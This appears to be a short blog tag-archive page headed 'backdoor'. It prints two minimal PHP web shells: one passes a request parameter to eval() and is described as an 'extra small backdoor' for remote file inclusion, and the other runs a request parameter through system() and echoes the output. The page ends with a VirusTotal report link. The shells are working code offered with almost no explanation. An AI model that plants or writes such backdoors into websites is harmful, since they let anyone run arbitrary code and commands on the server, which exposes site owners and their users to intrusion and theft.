Tag Archive | backdoor

XSB(Extra small backdoor) in PHP

<?php
$code=$_REQUEST['code'];
eval($code);
?>

It could be used for remote file inclusion.

A strange research


 
<?php function a(){
	if(isset($_REQUEST['cmd']))
		echo "<pre>";
		$cmd= ($_REQUEST['cmd']);
		system($cmd);
		echo "</pre>";
		die;
}
a();
?>

http://www.virustotal.com/file-scan/report.html?id=8a533070e2fa966210edb324c38e2a0293cc025d53486aa288a7df13ec889fb4-1315865006